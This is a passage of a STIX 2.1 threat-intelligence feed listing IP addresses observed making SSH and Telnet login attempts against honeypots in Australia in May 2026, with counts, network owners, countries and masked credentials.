      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AM. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): g*****t, u****u. Passwords observed (masked): 1****6, a********t.",
      "id": "indicator--b8ddfe93-d4dd-4039-accc-034afefc300f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.156.103.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:15:10.000Z",
      "valid_until": "2026-06-06T09:15:08.000Z"
    },
    {
      "created": "2026-05-05T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--f23e46f9-fbf7-489c-8e06-1dc6f6e417fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '219.78.63.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:15:10.000Z",
      "valid_until": "2026-06-06T09:15:08.000Z"
    },
    {
      "created": "2026-05-05T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--b7181184-f0f4-408b-a6ed-a02622dc9b98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:15:10.000Z",
      "valid_until": "2026-06-06T09:15:08.000Z"
    },
    {
      "created": "2026-05-05T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--3339c298-48d6-43f1-8ef6-24b12bea9b38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:15:10.000Z",
      "valid_until": "2026-06-06T09:15:08.000Z"
    },
    {
      "created": "2026-05-05T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--a850ea7d-4d59-442d-a6c5-2ec56dff121f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.114.127.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T09:15:10.000Z",
      "valid_until": "2026-06-06T09:15:08.000Z"
    },
    {
      "created": "2026-05-05T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: KH. ASN(s): 38623. Organisation(s): ISPIXP IN CAMBODIA WITH THE BEST VERVICE IN THERE.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--5f1e9f46-d963-48b8-a7b8-dd67568b0a5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.100.42.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T10:15:10.000Z",
      "valid_until": "2026-06-06T10:15:08.000Z"
    },
    {
      "created": "2026-05-05T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2a75e165-033d-49b2-ad6a-862931af0d66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.11.90.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T10:15:10.000Z",
      "valid_until": "2026-06-06T10:15:08.000Z"
    },
    {
      "created": "2026-05-05T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): G************1, U*********************1. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--a76bde83-047b-4bcc-9558-98dab5496054",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.216.7.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T10:15:10.000Z",
      "valid_until": "2026-06-06T10:15:08.000Z"
    },
    {
      "created": "2026-05-05T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 2280. Organisation(s): Orange. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--10fe9b85-c03e-4f1b-ade6-7a5210734c46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '90.84.168.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T10:15:10.000Z",
      "valid_until": "2026-06-06T10:15:08.000Z"
    },
    {
      "created": "2026-05-05T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NG. ASN(s): 37682. Organisation(s): TIZETI-AS.",
      "id": "indicator--667cf1b7-0777-411b-8a10-07a03e0a3376",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.36.149.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:15:12.000Z",
      "valid_until": "2026-06-06T11:15:03.000Z"
    },
    {
      "created": "2026-05-05T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f11d1e42-0dda-4453-a4a6-2ef575ad8b4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.99.164.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:15:12.000Z",
      "valid_until": "2026-06-06T11:15:03.000Z"
    },
    {
      "created": "2026-05-05T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265949. Organisation(s): INFO TELECOM INTERNET LTDA.",
      "id": "indicator--3dff6a17-d854-4733-87b9-694a33185d00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.163.99.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:15:12.000Z",
      "valid_until": "2026-06-06T11:15:03.000Z"
    },
    {
      "created": "2026-05-05T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28343. Organisation(s): UNIFIQUE TELECOMUNICACOES SA.",
      "id": "indicator--aaa621c7-348f-484e-b163-41136d6dacac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.73.186.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:15:12.000Z",
      "valid_until": "2026-06-06T11:15:03.000Z"
    },
    {
      "created": "2026-05-05T11:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--919496eb-6a93-4e01-803f-f38da11799c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:15:12.000Z",
      "valid_until": "2026-06-06T11:15:03.000Z"
    },
    {
      "created": "2026-05-05T11:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, a***n, d****y, d******r. Passwords observed (masked): !******w, 0****0, 1****#, 1****!, 1******q.",
      "id": "indicator--c921b18a-42dd-440d-abe7-9ce929f4ce3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.111.225.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:15:12.000Z",
      "valid_until": "2026-06-06T11:15:03.000Z"
    },
    {
      "created": "2026-05-05T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--26881ccb-845e-4ca1-996f-eff687bfbf6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.88.164.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:15:12.000Z",
      "valid_until": "2026-06-06T11:15:03.000Z"
    },
    {
      "created": "2026-05-05T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--960ae5ec-92b9-44d4-a654-f2e931a916dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.233.38.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:15:12.000Z",
      "valid_until": "2026-06-06T11:15:03.000Z"
    },
    {
      "created": "2026-05-05T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 47253. Organisation(s): BCI Telecommunication & Advanced Technology Company.",
      "id": "indicator--4477878a-53f9-499c-a15e-03cc3dabdbda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.184.13.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:15:12.000Z",
      "valid_until": "2026-06-06T11:15:03.000Z"
    },
    {
      "created": "2026-05-05T11:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 49531. Organisation(s): NetCom-R LLC.",
      "id": "indicator--2d33ae51-e796-490c-a850-0885f7a0e9cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T11:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.159.74.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:15:12.000Z",
      "valid_until": "2026-06-06T11:15:03.000Z"
    },
    {
      "created": "2026-05-05T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 328471. Organisation(s): Hero-Telecoms.",
      "id": "indicator--1741d234-085a-4f98-910d-bcb3c7e6b5ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.66.147.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:15:11.000Z",
      "valid_until": "2026-06-06T12:15:09.000Z"
    },
    {
      "created": "2026-05-05T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 61751. Organisation(s): SINTNET-TELECOMUNICACOES E INFORMATICA LTDA.",
      "id": "indicator--e7e4a2e3-ac08-430f-a40a-ab7b218a44c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.72.252.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:15:11.000Z",
      "valid_until": "2026-06-06T12:15:09.000Z"
    },
    {
      "created": "2026-05-05T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4, g******n, s***m. Passwords observed (masked): *, 3***********4, 3**********4, H*********9, a*****8.",
      "id": "indicator--6eb82bc6-0555-491a-b995-24d25d0cc1fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '158.178.141.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:15:11.000Z",
      "valid_until": "2026-06-06T12:15:09.000Z"
    },
    {
      "created": "2026-05-05T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 105. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 18881. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): r**t, u**r, 3**********4, f*****t, u****u. Passwords observed (masked): 1******4, 3***********4, 3**********4, W*********9, a*********7.",
      "id": "indicator--39118277-a7a5-4814-992c-92776f29d254",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.17.92.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:15:11.000Z",
      "valid_until": "2026-06-06T12:15:09.000Z"
    },
    {
      "created": "2026-05-05T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--dcdf9c74-697b-4515-81ab-ce00015f2c20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.63.202.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:15:11.000Z",
      "valid_until": "2026-06-06T12:15:09.000Z"
    },
    {
      "created": "2026-05-05T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--9b3da1e1-705e-4ab5-b6e2-8b6b5c8535a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.191.112.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:15:11.000Z",
      "valid_until": "2026-06-06T12:15:09.000Z"
    },
    {
      "created": "2026-05-05T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133982. Organisation(s): Excitel Broadband Private Limited.",
      "id": "indicator--5ee59709-1cdd-4640-a60c-d03090f87798",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.254.175.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:15:11.000Z",
      "valid_until": "2026-06-06T12:15:09.000Z"
    },
    {
      "created": "2026-05-05T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 42014. Organisation(s): Chumachenko Dmytro Stepanovych.",
      "id": "indicator--7aec66ce-f7eb-4b9d-813c-9d861d7afbdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.174.21.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:15:11.000Z",
      "valid_until": "2026-06-06T12:15:09.000Z"
    },
    {
      "created": "2026-05-05T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL.",
      "id": "indicator--bfbf45e5-5a3a-4eac-89a8-0e78e4e4128c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:15:11.000Z",
      "valid_until": "2026-06-06T12:15:09.000Z"
    },
    {
      "created": "2026-05-05T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c0cf8b36-036a-48e5-8a78-7611011827b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.31.109.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:15:11.000Z",
      "valid_until": "2026-06-06T12:15:09.000Z"
    },
    {
      "created": "2026-05-05T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, ***, u**r, 3**********4, ***. Passwords observed (masked): !*******6, 1*********d, 1*******@, 1************$, 3***********4.",
      "id": "indicator--822bb1ad-ff62-46ff-b8c8-621db5c586c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '4.210.91.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:15:11.000Z",
      "valid_until": "2026-06-06T12:15:09.000Z"
    },
    {
      "created": "2026-05-05T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--81ba8557-953c-40f3-b3b0-df02df0458e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.144.96.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:15:11.000Z",
      "valid_until": "2026-06-06T12:15:09.000Z"
    },
    {
      "created": "2026-05-05T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5900. Source country: NL. ASN(s): 200912. Organisation(s): Joel Krause.",
      "id": "indicator--0099f9e8-8fe1-45b2-ba76-ea201e0f3115",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.83.143.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:15:11.000Z",
      "valid_until": "2026-06-06T12:15:09.000Z"
    },
    {
      "created": "2026-05-05T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 138245. Organisation(s): Xpress Net Solution.",
      "id": "indicator--9e0c6889-5697-4cdb-9492-907c247dc1f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.181.160.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:15:10.000Z",
      "valid_until": "2026-06-06T13:15:08.000Z"
    },
    {
      "created": "2026-05-05T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--918927f4-4429-4b70-8124-cf0418a31885",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.177.240.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:15:10.000Z",
      "valid_until": "2026-06-06T13:15:08.000Z"
    },
    {
      "created": "2026-05-05T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264377. Organisation(s): FV TECNOLOGIA DA INFORMACAO LTDA ME.",
      "id": "indicator--ac2236fd-2eac-493e-b6ea-8fb64821c633",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.161.123.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:15:10.000Z",
      "valid_until": "2026-06-06T13:15:08.000Z"
    },
    {
      "created": "2026-05-05T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 215. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45903. Organisation(s): CMC Telecom Infrastructure Company. Usernames observed (masked): a***n, r**t, g*********4, p******s, t**t. Passwords observed (masked): 1*****!, 1*******9, 1**********Z, 3***********4, 3**********4.",
      "id": "indicator--6bac5793-e210-438e-a6f5-e2a633dd0ad2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.91.11.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
